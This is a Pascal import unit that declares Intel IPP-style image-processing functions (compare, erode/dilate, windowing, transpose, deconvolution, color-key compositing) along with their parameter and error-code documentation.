function ippiCompare_16u_C4R( pSrc1 : Ipp16uPtr ; src1Step : Int32 ; pSrc2 : Ipp16uPtr ; src2Step : Int32 ; pDst : Ipp8uPtr ; dstStep : Int32 ; roiSize : IppiSize ; ippCmpOp : IppCmpOp ): IppStatus; _ippapi
function ippiCompareC_16u_C1R( pSrc : Ipp16uPtr ; srcStep : Int32 ; value : Ipp16u ; pDst : Ipp8uPtr ; dstStep : Int32 ; roiSize : IppiSize ; ippCmpOp : IppCmpOp ): IppStatus; _ippapi
function ippiCompareC_16u_C3R( pSrc : Ipp16uPtr ; srcStep : Int32 ; const value : Ipp16u_3 ; pDst : Ipp8uPtr ; dstStep : Int32 ; roiSize : IppiSize ; ippCmpOp : IppCmpOp ): IppStatus; _ippapi
function ippiCompareC_16u_AC4R( pSrc : Ipp16uPtr ; srcStep : Int32 ; const value : Ipp16u_3 ; pDst : Ipp8uPtr ; dstStep : Int32 ; roiSize : IppiSize ; ippCmpOp : IppCmpOp ): IppStatus; _ippapi
function ippiCompareC_16u_C4R( pSrc : Ipp16uPtr ; srcStep : Int32 ; const value : Ipp16u_4 ; pDst : Ipp8uPtr ; dstStep : Int32 ; roiSize : IppiSize ; ippCmpOp : IppCmpOp ): IppStatus; _ippapi
function ippiCompare_32f_C1R( pSrc1 : Ipp32fPtr ; src1Step : Int32 ; pSrc2 : Ipp32fPtr ; src2Step : Int32 ; pDst : Ipp8uPtr ; dstStep : Int32 ; roiSize : IppiSize ; ippCmpOp : IppCmpOp ): IppStatus; _ippapi
function ippiCompare_32f_C3R( pSrc1 : Ipp32fPtr ; src1Step : Int32 ; pSrc2 : Ipp32fPtr ; src2Step : Int32 ; pDst : Ipp8uPtr ; dstStep : Int32 ; roiSize : IppiSize ; ippCmpOp : IppCmpOp ): IppStatus; _ippapi
function ippiCompare_32f_AC4R( pSrc1 : Ipp32fPtr ; src1Step : Int32 ; pSrc2 : Ipp32fPtr ; src2Step : Int32 ; pDst : Ipp8uPtr ; dstStep : Int32 ; roiSize : IppiSize ; ippCmpOp : IppCmpOp ): IppStatus; _ippapi
function ippiCompare_32f_C4R( pSrc1 : Ipp32fPtr ; src1Step : Int32 ; pSrc2 : Ipp32fPtr ; src2Step : Int32 ; pDst : Ipp8uPtr ; dstStep : Int32 ; roiSize : IppiSize ; ippCmpOp : IppCmpOp ): IppStatus; _ippapi
function ippiCompareC_32f_C1R( pSrc : Ipp32fPtr ; srcStep : Int32 ; value : Ipp32f ; pDst : Ipp8uPtr ; dstStep : Int32 ; roiSize : IppiSize ; ippCmpOp : IppCmpOp ): IppStatus; _ippapi
function ippiCompareC_32f_C3R( pSrc : Ipp32fPtr ; srcStep : Int32 ; const value : Ipp32f_3 ; pDst : Ipp8uPtr ; dstStep : Int32 ; roiSize : IppiSize ; ippCmpOp : IppCmpOp ): IppStatus; _ippapi
function ippiCompareC_32f_AC4R( pSrc : Ipp32fPtr ; srcStep : Int32 ; const value : Ipp32f_3 ; pDst : Ipp8uPtr ; dstStep : Int32 ; roiSize : IppiSize ; ippCmpOp : IppCmpOp ): IppStatus; _ippapi
function ippiCompareC_32f_C4R( pSrc : Ipp32fPtr ; srcStep : Int32 ; const value : Ipp32f_4 ; pDst : Ipp8uPtr ; dstStep : Int32 ; roiSize : IppiSize ; ippCmpOp : IppCmpOp ): IppStatus; _ippapi
function ippiCompareEqualEps_32f_C1R( pSrc1 : Ipp32fPtr ; src1Step : Int32 ; pSrc2 : Ipp32fPtr ; src2Step : Int32 ; pDst : Ipp8uPtr ; dstStep : Int32 ; roiSize : IppiSize ; eps : Ipp32f ): IppStatus; _ippapi
function ippiCompareEqualEps_32f_C3R( pSrc1 : Ipp32fPtr ; src1Step : Int32 ; pSrc2 : Ipp32fPtr ; src2Step : Int32 ; pDst : Ipp8uPtr ; dstStep : Int32 ; roiSize : IppiSize ; eps : Ipp32f ): IppStatus; _ippapi
function ippiCompareEqualEps_32f_AC4R( pSrc1 : Ipp32fPtr ; src1Step : Int32 ; pSrc2 : Ipp32fPtr ; src2Step : Int32 ; pDst : Ipp8uPtr ; dstStep : Int32 ; roiSize : IppiSize ; eps : Ipp32f ): IppStatus; _ippapi
function ippiCompareEqualEps_32f_C4R( pSrc1 : Ipp32fPtr ; src1Step : Int32 ; pSrc2 : Ipp32fPtr ; src2Step : Int32 ; pDst : Ipp8uPtr ; dstStep : Int32 ; roiSize : IppiSize ; eps : Ipp32f ): IppStatus; _ippapi
function ippiCompareEqualEpsC_32f_C1R( pSrc : Ipp32fPtr ; srcStep : Int32 ; value : Ipp32f ; pDst : Ipp8uPtr ; dstStep : Int32 ; roiSize : IppiSize ; eps : Ipp32f ): IppStatus; _ippapi
function ippiCompareEqualEpsC_32f_C3R( pSrc : Ipp32fPtr ; srcStep : Int32 ; const value : Ipp32f_3 ; pDst : Ipp8uPtr ; dstStep : Int32 ; roiSize : IppiSize ; eps : Ipp32f ): IppStatus; _ippapi
function ippiCompareEqualEpsC_32f_AC4R( pSrc : Ipp32fPtr ; srcStep : Int32 ; const value : Ipp32f_3 ; pDst : Ipp8uPtr ; dstStep : Int32 ; roiSize : IppiSize ; eps : Ipp32f ): IppStatus; _ippapi
function ippiCompareEqualEpsC_32f_C4R( pSrc : Ipp32fPtr ; srcStep : Int32 ; const value : Ipp32f_4 ; pDst : Ipp8uPtr ; dstStep : Int32 ; roiSize : IppiSize ; eps : Ipp32f ): IppStatus; _ippapi
{ ----------------------------------------------------------------------------
Morphological Operations
{ ----------------------------------------------------------------------------
Name: ippiErode3x3_8u_C1R() ippiDilate3x3_8u_C1R()
ippiErode3x3_8u_C3R() ippiDilate3x3_8u_C3R()
ippiErode3x3_8u_AC4R() ippiDilate3x3_8u_AC4R()
ippiErode3x3_8u_C4R() ippiDilate3x3_8u_C4R()
ippiErode3x3_32f_C1R() ippiDilate3x3_32f_C1R()
ippiErode3x3_32f_C3R() ippiDilate3x3_32f_C3R()
ippiErode3x3_32f_AC4R() ippiDilate3x3_32f_AC4R()
ippiErode3x3_32f_C4R() ippiDilate3x3_32f_C4R()
Purpose: Performs not in-place erosion/dilation using a 3x3 mask
Returns:
ippStsNullPtrErr pSrc == NULL or pDst == NULL
ippStsStepErr srcStep <= 0 or dstStep <= 0
ippStsSizeErr roiSize has a field with zero or negative value
ippStsStrideErr (2+roiSize.width)*nChannels*sizeof(item) > srcStep or
(2+roiSize.width)*nChannels*sizeof(item) > dstStep
ippStsNoErr No errors
Parameters:
pSrc Pointer to the source image ROI
srcStep Step (bytes) through the source image
pDst Pointer to the destination image ROI
dstStep Step (bytes) through the destination image
roiSize Size of the ROI
}
function ippiErode3x3_64f_C1R( pSrc : Ipp64fPtr ; srcStep : Int32 ; pDst : Ipp64fPtr ; dstStep : Int32 ; roiSize : IppiSize ): IppStatus; _ippapi
function ippiDilate3x3_64f_C1R( pSrc : Ipp64fPtr ; srcStep : Int32 ; pDst : Ipp64fPtr ; dstStep : Int32 ; roiSize : IppiSize ): IppStatus; _ippapi
{ ----------------------------------------------------------------------------
Name:
ippiZigzagInv8x8_16s_C1
ippiZigzagFwd8x8_16s_C1
Purpose:
Converts a natural order to zigzag in an 8x8 block (forward function),
converts a zigzag order to natural in a 8x8 block (inverse function)
Parameter:
pSrc Pointer to the source block
pDst Pointer to the destination block
Returns:
ippStsNoErr No errors
ippStsNullPtrErr One of the pointers is NULL
}
function ippiZigzagInv8x8_16s_C1( pSrc : Ipp16sPtr ; pDst : Ipp16sPtr ): IppStatus; _ippapi
function ippiZigzagFwd8x8_16s_C1( pSrc : Ipp16sPtr ; pDst : Ipp16sPtr ): IppStatus; _ippapi
{ ----------------------------------------------------------------------------
Windowing functions
Note: to obtain the window coefficients you have apply the corresponding
function to the image with all pixel values set to 1 (this image can
created : be ; example : for ; calling function ippiSet(1,x,n))
{ ----------------------------------------------------------------------------
Names: ippiWinBartlett, ippiWinBartlettSep
Purpose: Applies Bartlett windowing function to an image.
Parameters:
pSrc - Pointer to the source image.
srcStep - Distances, in bytes, between the starting points of consecutive lines in the source images.
pDst - Pointer to the destination image.
dstStep - Distance, in bytes, between the starting points of consecutive lines in the destination image.
pSrcDst - Pointer to the source/destination image (in-place flavors).
srcDstStep - Distance, in bytes, between the starting points of consecutive lines in the source/destination image (in-place flavors).
roiSize - Size, in pixels, of the ROI.
pBuffer - Pointer to the buffer for internal calculations. Size of the buffer is calculated by ippiWinBartlett(Sep)GetBufferSize.
Returns:
ippStsNoErr - OK.
ippStsNullPtrErr - Error when any of the specified pointers is NULL.
ippStsSizeErr - Error when roiSize has a field with value less than 3.
ippStsStepErr - Error when srcStep, dstStep, or srcDstStep has a zero or negative value.
}
function ippiWinBartlett_8u_C1R( pSrc : Ipp8uPtr ; srcStep : Int32 ; pDst : Ipp8uPtr ; dstStep : Int32 ; roiSize : IppiSize ; pBuffer : Ipp8uPtr ): IppStatus; _ippapi
function ippiWinBartlett_16u_C1R( pSrc : Ipp16uPtr ; srcStep : Int32 ; pDst : Ipp16uPtr ; dstStep : Int32 ; roiSize : IppiSize ; pBuffer : Ipp8uPtr ): IppStatus; _ippapi
function ippiWinBartlett_32f_C1R( pSrc : Ipp32fPtr ; srcStep : Int32 ; pDst : Ipp32fPtr ; dstStep : Int32 ; roiSize : IppiSize ; pBuffer : Ipp8uPtr ): IppStatus; _ippapi
function ippiWinBartlett_8u_C1IR( pSrcDst : Ipp8uPtr ; srcDstStep : Int32 ; roiSize : IppiSize ; pBuffer : Ipp8uPtr ): IppStatus; _ippapi
function ippiWinBartlett_16u_C1IR( pSrcDst : Ipp16uPtr ; srcDstStep : Int32 ; roiSize : IppiSize ; pBuffer : Ipp8uPtr ): IppStatus; _ippapi
function ippiWinBartlett_32f_C1IR( pSrcDst : Ipp32fPtr ; srcDstStep : Int32 ; roiSize : IppiSize ; pBuffer : Ipp8uPtr ): IppStatus; _ippapi
function ippiWinBartlettSep_8u_C1R( pSrc : Ipp8uPtr ; srcStep : Int32 ; pDst : Ipp8uPtr ; dstStep : Int32 ; roiSize : IppiSize ; pBuffer : Ipp8uPtr ): IppStatus; _ippapi
function ippiWinBartlettSep_16u_C1R( pSrc : Ipp16uPtr ; srcStep : Int32 ; pDst : Ipp16uPtr ; dstStep : Int32 ; roiSize : IppiSize ; pBuffer : Ipp8uPtr ): IppStatus; _ippapi
function ippiWinBartlettSep_32f_C1R( pSrc : Ipp32fPtr ; srcStep : Int32 ; pDst : Ipp32fPtr ; dstStep : Int32 ; roiSize : IppiSize ; pBuffer : Ipp8uPtr ): IppStatus; _ippapi
function ippiWinBartlettSep_8u_C1IR( pSrcDst : Ipp8uPtr ; srcDstStep : Int32 ; roiSize : IppiSize ; pBuffer : Ipp8uPtr ): IppStatus; _ippapi
function ippiWinBartlettSep_16u_C1IR( pSrcDst : Ipp16uPtr ; srcDstStep : Int32 ; roiSize : IppiSize ; pBuffer : Ipp8uPtr ): IppStatus; _ippapi
function ippiWinBartlettSep_32f_C1IR( pSrcDst : Ipp32fPtr ; srcDstStep : Int32 ; roiSize : IppiSize ; pBuffer : Ipp8uPtr ): IppStatus; _ippapi
{ ----------------------------------------------------------------------------
Names: ippiWinBartlettGetSize, ippiWinBartlettSepGetSize
Purpose: Get the size (in bytes) of the buffer for ippiWinBartlett(Sep) internal calculations.
Parameters:
dataType - Data type for windowing function. Possible values are ipp32f, ipp16u, or ipp8u.
roiSize - Size, in pixels, of the ROI.
pSize - Pointer to the calculated buffer size (in bytes).
Return:
ippStsNoErr - OK.
ippStsNullPtrErr - Error when pSize pointer is NULL.
ippStsSizeErr - Error when roiSize has a field with value less than 3.
ippStsDataTypeErr - Error when the dataType value differs from the ipp32f, ipp16u, or ipp8u.
}
function ippiWinBartlettGetBufferSize( dataType : IppDataType ; roiSize : IppiSize ; var pSize : Int32 ): IppStatus; _ippapi
function ippiWinBartlettSepGetBufferSize( dataType : IppDataType ; roiSize : IppiSize ; var pSize : Int32 ): IppStatus; _ippapi
{ ----------------------------------------------------------------------------
Names: ippiWinHamming, ippiWinHammingSep
Purpose: Applies Hamming window function to the image.
Parameters:
pSrc - Pointer to the source image.
srcStep - Distances, in bytes, between the starting points of consecutive lines in the source images.
pDst - Pointer to the destination image.
dstStep - Distance, in bytes, between the starting points of consecutive lines in the destination image.
pSrcDst - Pointer to the source/destination image (in-place flavors).
srcDstStep - Distance, in bytes, between the starting points of consecutive lines in the source/destination image (in-place flavors).
roiSize - Size, in pixels, of the ROI.
pBuffer - Pointer to the buffer for internal calculations. Size of the buffer is calculated by ippiWinHamming(Sep)GetBufferSize.
Returns:
ippStsNoErr - OK.
ippStsNullPtrErr - Error when any of the specified pointers is NULL.
ippStsSizeErr - Error when roiSize has a field with value less than 3.
ippStsStepErr - Error when srcStep, dstStep, or srcDstStep has a zero or negative value.
}
function ippiWinHamming_8u_C1R( pSrc : Ipp8uPtr ; srcStep : Int32 ; pDst : Ipp8uPtr ; dstStep : Int32 ; roiSize : IppiSize ; pBuffer : Ipp8uPtr ): IppStatus; _ippapi
function ippiWinHamming_16u_C1R( pSrc : Ipp16uPtr ; srcStep : Int32 ; pDst : Ipp16uPtr ; dstStep : Int32 ; roiSize : IppiSize ; pBuffer : Ipp8uPtr ): IppStatus; _ippapi
function ippiWinHamming_32f_C1R( pSrc : Ipp32fPtr ; srcStep : Int32 ; pDst : Ipp32fPtr ; dstStep : Int32 ; roiSize : IppiSize ; pBuffer : Ipp8uPtr ): IppStatus; _ippapi
function ippiWinHamming_8u_C1IR( pSrcDst : Ipp8uPtr ; srcDstStep : Int32 ; roiSize : IppiSize ; pBuffer : Ipp8uPtr ): IppStatus; _ippapi
function ippiWinHamming_16u_C1IR( pSrcDst : Ipp16uPtr ; srcDstStep : Int32 ; roiSize : IppiSize ; pBuffer : Ipp8uPtr ): IppStatus; _ippapi
function ippiWinHamming_32f_C1IR( pSrcDst : Ipp32fPtr ; srcDstStep : Int32 ; roiSize : IppiSize ; pBuffer : Ipp8uPtr ): IppStatus; _ippapi
function ippiWinHammingSep_8u_C1R( pSrc : Ipp8uPtr ; srcStep : Int32 ; pDst : Ipp8uPtr ; dstStep : Int32 ; roiSize : IppiSize ; pBuffer : Ipp8uPtr ): IppStatus; _ippapi
function ippiWinHammingSep_16u_C1R( pSrc : Ipp16uPtr ; srcStep : Int32 ; pDst : Ipp16uPtr ; dstStep : Int32 ; roiSize : IppiSize ; pBuffer : Ipp8uPtr ): IppStatus; _ippapi
function ippiWinHammingSep_32f_C1R( pSrc : Ipp32fPtr ; srcStep : Int32 ; pDst : Ipp32fPtr ; dstStep : Int32 ; roiSize : IppiSize ; pBuffer : Ipp8uPtr ): IppStatus; _ippapi
function ippiWinHammingSep_8u_C1IR( pSrcDst : Ipp8uPtr ; srcDstStep : Int32 ; roiSize : IppiSize ; pBuffer : Ipp8uPtr ): IppStatus; _ippapi
function ippiWinHammingSep_16u_C1IR( pSrcDst : Ipp16uPtr ; srcDstStep : Int32 ; roiSize : IppiSize ; pBuffer : Ipp8uPtr ): IppStatus; _ippapi
function ippiWinHammingSep_32f_C1IR( pSrcDst : Ipp32fPtr ; srcDstStep : Int32 ; roiSize : IppiSize ; pBuffer : Ipp8uPtr ): IppStatus; _ippapi
{ ----------------------------------------------------------------------------
Names: ippiWinHammingGetBufferSize, ippiWinHammingSepGetBufferSize
Purpose: Get the size (in bytes) of the buffer for ippiWinHamming(Sep) internal calculations.
Parameters:
dataType - Data type for windowing function. Possible values are ipp32f, ipp16u, or ipp8u.
roiSize - Size, in pixels, of the ROI.
pSize - Pointer to the calculated buffer size (in bytes).
Return:
ippStsNoErr - OK.
ippStsNullPtrErr - Error when pSize pointer is NULL.
ippStsSizeErr - Error when roiSize has a field with value less than 3.
ippStsDataTypeErr - Error when the dataType value differs from the ipp32f, ipp16u, or ipp8u.
}
function ippiWinHammingGetBufferSize( dataType : IppDataType ; roiSize : IppiSize ; var pSize : Int32 ): IppStatus; _ippapi
function ippiWinHammingSepGetBufferSize( dataType : IppDataType ; roiSize : IppiSize ; var pSize : Int32 ): IppStatus; _ippapi
{ ----------------------------------------------------------------------------
Name: ippiTranspose
Purpose: Transposing an image
Parameters:
pSrc Pointer to the source image
srcStep Step through the source image
pDst Pointer to the destination image
dstStep Step through the destination image
pSrcDst Pointer to the source/destination image (in-place flavors)
srcDstStep Step through the source/destination image (in-place flavors)
roiSize Size of the source ROI
Returns:
ippStsNoErr - Ok.
ippStsNullPtrErr - Error when any of the specified pointers is NULL.
ippStsSizeErr - Error when:
roiSize has a field with zero or negative value;
roiSize.width != roiSize.height (in-place flavors).
Notes: Parameters roiSize.width and roiSize.height are defined for the source image.
}
function ippiTranspose_8u_C1R( pSrc : Ipp8uPtr ; srcStep : Int32 ; pDst : Ipp8uPtr ; dstStep : Int32 ; roiSize : IppiSize ): IppStatus; _ippapi
function ippiTranspose_8u_C3R( pSrc : Ipp8uPtr ; srcStep : Int32 ; pDst : Ipp8uPtr ; dstStep : Int32 ; roiSize : IppiSize ): IppStatus; _ippapi
function ippiTranspose_8u_C4R( pSrc : Ipp8uPtr ; srcStep : Int32 ; pDst : Ipp8uPtr ; dstStep : Int32 ; roiSize : IppiSize ): IppStatus; _ippapi
function ippiTranspose_8u_C1IR( pSrcDst : Ipp8uPtr ; srcDstStep : Int32 ; roiSize : IppiSize ): IppStatus; _ippapi
function ippiTranspose_8u_C3IR( pSrcDst : Ipp8uPtr ; srcDstStep : Int32 ; roiSize : IppiSize ): IppStatus; _ippapi
function ippiTranspose_8u_C4IR( pSrcDst : Ipp8uPtr ; srcDstStep : Int32 ; roiSize : IppiSize ): IppStatus; _ippapi
function ippiTranspose_16u_C1R( pSrc : Ipp16uPtr ; srcStep : Int32 ; pDst : Ipp16uPtr ; dstStep : Int32 ; roiSize : IppiSize ): IppStatus; _ippapi
function ippiTranspose_16u_C3R( pSrc : Ipp16uPtr ; srcStep : Int32 ; pDst : Ipp16uPtr ; dstStep : Int32 ; roiSize : IppiSize ): IppStatus; _ippapi
function ippiTranspose_16u_C4R( pSrc : Ipp16uPtr ; srcStep : Int32 ; pDst : Ipp16uPtr ; dstStep : Int32 ; roiSize : IppiSize ): IppStatus; _ippapi
function ippiTranspose_16u_C1IR( pSrcDst : Ipp16uPtr ; srcDstStep : Int32 ; roiSize : IppiSize ): IppStatus; _ippapi
function ippiTranspose_16u_C3IR( pSrcDst : Ipp16uPtr ; srcDstStep : Int32 ; roiSize : IppiSize ): IppStatus; _ippapi
function ippiTranspose_16u_C4IR( pSrcDst : Ipp16uPtr ; srcDstStep : Int32 ; roiSize : IppiSize ): IppStatus; _ippapi
function ippiTranspose_16s_C1R( pSrc : Ipp16sPtr ; srcStep : Int32 ; pDst : Ipp16sPtr ; dstStep : Int32 ; roiSize : IppiSize ): IppStatus; _ippapi
function ippiTranspose_16s_C3R( pSrc : Ipp16sPtr ; srcStep : Int32 ; pDst : Ipp16sPtr ; dstStep : Int32 ; roiSize : IppiSize ): IppStatus; _ippapi
function ippiTranspose_16s_C4R( pSrc : Ipp16sPtr ; srcStep : Int32 ; pDst : Ipp16sPtr ; dstStep : Int32 ; roiSize : IppiSize ): IppStatus; _ippapi
function ippiTranspose_16s_C1IR( pSrcDst : Ipp16sPtr ; srcDstStep : Int32 ; roiSize : IppiSize ): IppStatus; _ippapi
function ippiTranspose_16s_C3IR( pSrcDst : Ipp16sPtr ; srcDstStep : Int32 ; roiSize : IppiSize ): IppStatus; _ippapi
function ippiTranspose_16s_C4IR( pSrcDst : Ipp16sPtr ; srcDstStep : Int32 ; roiSize : IppiSize ): IppStatus; _ippapi
function ippiTranspose_32s_C1R( pSrc : Ipp32sPtr ; srcStep : Int32 ; pDst : Ipp32sPtr ; dstStep : Int32 ; roiSize : IppiSize ): IppStatus; _ippapi
function ippiTranspose_32s_C3R( pSrc : Ipp32sPtr ; srcStep : Int32 ; pDst : Ipp32sPtr ; dstStep : Int32 ; roiSize : IppiSize ): IppStatus; _ippapi
function ippiTranspose_32s_C4R( pSrc : Ipp32sPtr ; srcStep : Int32 ; pDst : Ipp32sPtr ; dstStep : Int32 ; roiSize : IppiSize ): IppStatus; _ippapi
function ippiTranspose_32s_C1IR( pSrcDst : Ipp32sPtr ; srcDstStep : Int32 ; roiSize : IppiSize ): IppStatus; _ippapi
function ippiTranspose_32s_C3IR( pSrcDst : Ipp32sPtr ; srcDstStep : Int32 ; roiSize : IppiSize ): IppStatus; _ippapi
function ippiTranspose_32s_C4IR( pSrcDst : Ipp32sPtr ; srcDstStep : Int32 ; roiSize : IppiSize ): IppStatus; _ippapi
function ippiTranspose_32f_C1R( pSrc : Ipp32fPtr ; srcStep : Int32 ; pDst : Ipp32fPtr ; dstStep : Int32 ; roiSize : IppiSize ): IppStatus; _ippapi
function ippiTranspose_32f_C3R( pSrc : Ipp32fPtr ; srcStep : Int32 ; pDst : Ipp32fPtr ; dstStep : Int32 ; roiSize : IppiSize ): IppStatus; _ippapi
function ippiTranspose_32f_C4R( pSrc : Ipp32fPtr ; srcStep : Int32 ; pDst : Ipp32fPtr ; dstStep : Int32 ; roiSize : IppiSize ): IppStatus; _ippapi
function ippiTranspose_32f_C1IR( pSrcDst : Ipp32fPtr ; srcDstStep : Int32 ; roiSize : IppiSize ): IppStatus; _ippapi
function ippiTranspose_32f_C3IR( pSrcDst : Ipp32fPtr ; srcDstStep : Int32 ; roiSize : IppiSize ): IppStatus; _ippapi
function ippiTranspose_32f_C4IR( pSrcDst : Ipp32fPtr ; srcDstStep : Int32 ; roiSize : IppiSize ): IppStatus; _ippapi
{
Name: ippiDeconvFFTGetSize_32f
Purpose: Get sizes, in bytes, of the IppiDeconvFFTState_32f_C(1|3)R structure.
Parameters:
numChannels - Number of image channels. Possible values are 1 and 3.
kernelSize - Size of kernel.
FFTorder - Order of created FFT structure.
pSize - Pointer to the size of IppiDeconvFFTState_32f_C(1|3)R structure (in bytes).
Returns:
ippStsNoErr - Ok.
ippStsNullPtrErr - Error when any of the specified pointers is NULL.
ippStsNumChannelsErr - Error when the numChannels value differs from 1 or 3.
ippStsSizeErr - Error when:
kernelSize less or equal to zero;
kernelSize great than 2^FFTorder.
}
function ippiDeconvFFTGetSize_32f( nChannels : Int32 ; kernelSize : Int32 ; FFTorder : Int32 ; var pSize : Int32 ): IppStatus; _ippapi
{
Name: ippiDeconvFFTInit_32f_C1R, ippiDeconvFFTInit_32f_C3R
Purpose: Initialize IppiDeconvFFTState structure.
Parameters:
pDeconvFFTState - Pointer to the created deconvolution structure.
pKernel - Pointer to the kernel array.
kernelSize - Size of kernel.
FFTorder - Order of created FFT structure.
threshold - Threshold level value (for except dividing to zero).
Returns:
ippStsNoErr - Ok.
ippStsNullPtrErr - Error when any of the specified pointers is NULL.
ippStsSizeErr - Error when:
kernelSize less or equal to zero;
kernelSize great than 2^FFTorder.
ippStsBadArgErr - Error when threshold less or equal to zero.
}
function ippiDeconvFFTInit_32f_C1R( pDeconvFFTState : IppiDeconvFFTState_32f_C1RPtr ; pKernel : Ipp32fPtr ; kernelSize : Int32 ; FFTorder : Int32 ; threshold : Ipp32f ): IppStatus; _ippapi
function ippiDeconvFFTInit_32f_C3R( pDeconvFFTState : IppiDeconvFFTState_32f_C3RPtr ; pKernel : Ipp32fPtr ; kernelSize : Int32 ; FFTorder : Int32 ; threshold : Ipp32f ): IppStatus; _ippapi
{ ----------------------------------------------------------------------------
Name: ippiDeconvFFT_32f_C*R
Purpose: Perform deconvolution for source image using FFT
Parameters:
pSrc - Pointer to the source image.
srcStep - Step in bytes in the source image.
pDst - Pointer to the destination image.
dstStep - Step in bytes in the destination image.
roi - Size of the image ROI in pixels.
pDeconvFFTState - Pointer to the Deconvolution context structure.
Returns:
ippStsNoErr - Ok.
ippStsNullPtrErr - Error when any of the specified pointers is NULL.
ippStsSizeErr - Error when:
roi.width or roi.height less or equal to zero;
roi.width or roi.height great than (2^FFTorder-kernelSize).
ippStsStepErr - Error when srcstep or dststep less than roi.width multiplied by type size.
ippStsNotEvenStepErr - Error when one of step values for floating-point images cannot be divided by 4.
}
function ippiDeconvFFT_32f_C1R( pSrc : Ipp32fPtr ; srcStep : Int32 ; pDst : Ipp32fPtr ; dstStep : Int32 ; roi : IppiSize ; pDeconvFFTState : IppiDeconvFFTState_32f_C1RPtr ): IppStatus; _ippapi
function ippiDeconvFFT_32f_C3R( pSrc : Ipp32fPtr ; srcStep : Int32 ; pDst : Ipp32fPtr ; dstStep : Int32 ; roi : IppiSize ; pDeconvFFTState : IppiDeconvFFTState_32f_C3RPtr ): IppStatus; _ippapi
{
Name: ippiDeconvLRGetSize_32f
Purpose: Get sizes, in bytes, of the IppiDeconvLR_32f_C(1|3)R structure.
Parameters:
numChannels - Number of image channels. Possible values are 1 and 3.
kernelSize - Size of kernel.
maxroi - Maximum size of the image ROI in pixels.
pSize - Pointer to the size of IppiDeconvLR_32f_C(1|3)R structure (in bytes).
Returns:
ippStsNoErr - Ok.
ippStsNullPtrErr - Error when any of the specified pointers is NULL.
ippStsNumChannelsErr - Error when the numChannels value differs from 1 or 3.
ippStsSizeErr - Error when:
kernelSize less or equal to zero;
kernelSize great than maxroi.width or maxroi.height;
maxroi.height or maxroi.width less or equal to zero.
}
function ippiDeconvLRGetSize_32f( numChannels : Int32 ; kernelSize : Int32 ; maxroi : IppiSize ; var pSize : Int32 ): IppStatus; _ippapi
{
Name: ippiDeconvLRInit_32f_C1R, ippiDeconvLRInit_32f_C3R
Purpose: Initialize IppiDeconvLR_32f_C(1|3)R structure.
Parameters:
pDeconvLR - Pointer to the created Lucy-Richardson Deconvolution context structure.
pKernel - Pointer to the kernel array.
kernelSize - Size of kernel.
maxroi - Maximum size of the image ROI in pixels.
threshold - Threshold level value (to exclude dividing to zero).
Returns:
ippStsNoErr - Ok.
ippStsNullPtrErr - Error when any of the specified pointers is NULL.
ippStsSizeErr - Error when:
kernelSize less or equal to zero;
kernelSize great than maxroi.width or maxroi.height,
maxroi.height or maxroi.width less or equal to zero.
ippStsBadArgErr - Error when threshold less or equal to zero.
}
function ippiDeconvLRInit_32f_C1R( pDeconvLR : IppiDeconvLR_32f_C1RPtr ; pKernel : Ipp32fPtr ; kernelSize : Int32 ; maxroi : IppiSize ; threshold : Ipp32f ): IppStatus; _ippapi
function ippiDeconvLRInit_32f_C3R( pDeconvLR : IppiDeconvLR_32f_C3RPtr ; pKernel : Ipp32fPtr ; kernelSize : Int32 ; maxroi : IppiSize ; threshold : Ipp32f ): IppStatus; _ippapi
{ ----------------------------------------------------------------------------
Name: ippiDeconvLR_32f_C1R, ippiDeconvLR_32f_C3R
Purpose: Perform deconvolution for source image using Lucy-Richardson algorithm
Parameters:
pSrc - Pointer to the source image.
srcStep - Step in bytes in the source image.
pDst - Pointer to the destination image.
dstStep - Step in bytes in the destination image.
roi - Size of the image ROI in pixels.
numiter - Number of algorithm iteration.
pDeconvLR - Pointer to the Lucy-Richardson Deconvolution context structure.
Returns:
ippStsNoErr - Ok.
ippStsNullPtrErr - Error when any of the specified pointers is NULL.
ippStsSizeErr - Error when:
roi.width or roi.height less or equal to zero;
roi.width great than (maxroi.width-kernelSize);
roi.height great than (maxroi.height-kernelSize).
ippStsStepErr - Error when srcstep or dststep less than roi.width multiplied by type size.
ippStsNotEvenStepErr - Error when one of step values for floating-point images cannot be divided by 4.
ippStsBadArgErr - Error when number of iterations less or equal to zero.
}
function ippiDeconvLR_32f_C1R( pSrc : Ipp32fPtr ; srcStep : Int32 ; pDst : Ipp32fPtr ; dstStep : Int32 ; roi : IppiSize ; numiter : Int32 ; pDeconvLR : IppiDeconvLR_32f_C1RPtr ): IppStatus; _ippapi
function ippiDeconvLR_32f_C3R( pSrc : Ipp32fPtr ; srcStep : Int32 ; pDst : Ipp32fPtr ; dstStep : Int32 ; roi : IppiSize ; numiter : Int32 ; pDeconvLR : IppiDeconvLR_32f_C3RPtr ): IppStatus; _ippapi
{ ----------------------------------------------------------------------------
Names: ippiCompColorKey_8u_C1R
ippiCompColorKey_8u_C3R
ippiCompColorKey_8u_C4R
ippiCompColorKey_16s_C1R
ippiCompColorKey_16s_C3R
ippiCompColorKey_16s_C4R
ippiCompColorKey_16u_C1R
ippiCompColorKey_16u_C3R
ippiCompColorKey_16u_C4R
Purpose: Perform alpha blending with transparent background.
Returns: IppStatus
ippStsNoErr No errors
ippStsNullPtrErr One of the pointers is NULL
ippStsSizeErr The roiSize has a field with negative or zero value
ippStsStepErr One of steps is less than or equal to zero
ippStsAlphaTypeErr Unsupported type of composition (for ippiAlphaCompColorKey)
Parameters:
pSrc1, pSrc2 Pointers to the source images
src1Step, src2Step Steps through the source images
pDst Pointer to the destination image
dstStep Step through the destination image
roiSize Size of the image ROI
colorKey Color value (array of values for multi-channel data)
alphaType The type of composition to perform (for ippiAlphaCompColorKey)
}
function ippiCompColorKey_8u_C1R( pSrc1 : Ipp8uPtr ; src1Step : Int32 ; pSrc2 : Ipp8uPtr ; src2Step : Int32 ; pDst : Ipp8uPtr ; dstStep : Int32 ; roiSize : IppiSize ; colorKey : Ipp8u ): IppStatus; _ippapi
function ippiCompColorKey_8u_C3R( pSrc1 : Ipp8uPtr ; src1Step : Int32 ; pSrc2 : Ipp8uPtr ; src2Step : Int32 ; pDst : Ipp8uPtr ; dstStep : Int32 ; roiSize : IppiSize ; colorKey : Ipp8u_3 ): IppStatus; _ippapi
function ippiCompColorKey_8u_C4R( pSrc1 : Ipp8uPtr ; src1Step : Int32 ; pSrc2 : Ipp8uPtr ; src2Step : Int32 ; pDst : Ipp8uPtr ; dstStep : Int32 ; roiSize : IppiSize ; colorKey : Ipp8u_4 ): IppStatus; _ippapi
